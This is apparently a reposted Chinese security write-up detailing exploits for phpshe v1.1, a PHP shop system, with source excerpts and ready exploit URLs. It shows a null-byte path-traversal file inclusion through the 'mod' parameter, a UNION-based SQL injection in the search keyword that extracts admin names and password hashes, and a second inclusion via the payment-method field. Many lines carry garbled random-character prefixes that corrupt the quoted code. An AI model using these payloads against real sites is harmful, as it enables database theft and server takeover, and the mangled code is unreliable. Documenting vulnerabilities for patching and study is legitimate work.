phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
) w2 Q* L, j7 x9 \( g# {/* E-Mail : 681796@qq.com
0 T2 f6 [- H) ?/*******************************************************/
0×00 整体大概参数传输

6 J! H6 Y( E* f# b' E% c- o# N
* r7 X: M+ u# P+ b
9 x' D( v; U- L' F' R9 G//common.php
) U- Y5 V$ U5 R# k& ~if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
9 V, ~: e& }, l( c, Z5 Qelse {
; q4 F$ r6 s; S  y" z( e( u!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 v( Y$ l! K3 m! q6 K!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
6 h  G6 K  |) F6 csession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 v8 a: p* J  _. |; ^, o!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

# q7 m* n( e  q/ R9 j0×01 包含漏洞

4 L) _1 A: T  S, g
4 X$ I& A" L7 Y; Y//首页文件
# s+ C, ?5 W/ e<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 |7 \! B6 H9 r9 @5 xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, H- k! H* S) R$ h6 E# w4 w* l, jpe_result();
3 t! u2 B* Z6 }# H, P+ ~8 X?>
//common 文件 第15行开始
url路由配置
, T/ e2 ~3 c! `$ n, T. `3 i9 B$module = $mod = $act = 'index';
/ ~5 @9 k2 I1 m0 l$ G4 r$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- T! R5 m5 W2 l+ K0 ^$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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& W2 y+ _2 v. [- c$ J& ] 0×02 搜索注入

<code id="code2">

//product.php文件
$ O( T$ i, Y1 I4 @1 ^6 A. [$ Ucase 'list':
/ B4 Y$ I. W* X$ Y" ~9 Y4 E2 Q; Q$category_id = intval($id);
6 {0 Z8 i0 j; ~; b, D( P% h$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
. i3 t' S' T: p  u8 \where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' C( T' j  n# B1 H. L! \! M2 s  s}
% L# |+ Y( {& A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
8 f: w" _- b; Q0 G2 \; L1 Mif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
; Y- _, J) C+ J7 Celse {
1 p) t# |. T$ k$ y$sqlwhere .= " order by `product_id` desc";
: l0 V8 C. r. U6 j9 h1 M0 l, w}
& @9 t" J, S$ {4 x' {$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
) O! L8 w) p& j, a4 |0 \$product_hotlist = product_hotlist();
//当前路径
- ?9 U9 T+ ^' K' B$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
2 ~) S6 ]! w! p1 Y6 xinclude(pe_tpl('product_list.html'));
! l4 n9 ?8 m8 C- V8 ?% `//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
) ?. z. `8 ^: E//处理条件语句
0 e. k* @4 S, C+ F+ a4 w$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2

0 v% R6 i7 t* a% X<code id="code3">

//order.php

case 'pay':

0 K, d/ ~' G! i& y% J+ q$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

6 j( f  I: w/ ?4 H( Pif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

0 a; S  A0 x2 ]9 T1 gif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

4 v+ d# x6 f. k3 E3 Z8 w: N! W$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 o$ D! J. K6 Iforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

7 Y6 E; C2 W$ I) kecho '正在为您连接支付网站，请稍后...';

& D7 `) K8 ?" g( P) a  H' Kinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

  G1 F% \8 R3 G  q+ H5 \1 Q" ?: relse {

! W/ e+ B7 F9 p9 n9 L& \& npe_error('支付错误...');

. i- P, C+ W, o+ z3 s: m% `}

}

8 O$ M( A8 O; S: B0 m: F# d& S0 ~$seo = pe_seo('选择支付方式');

( m& u+ `4 c# o+ _: A8 Z3 ]include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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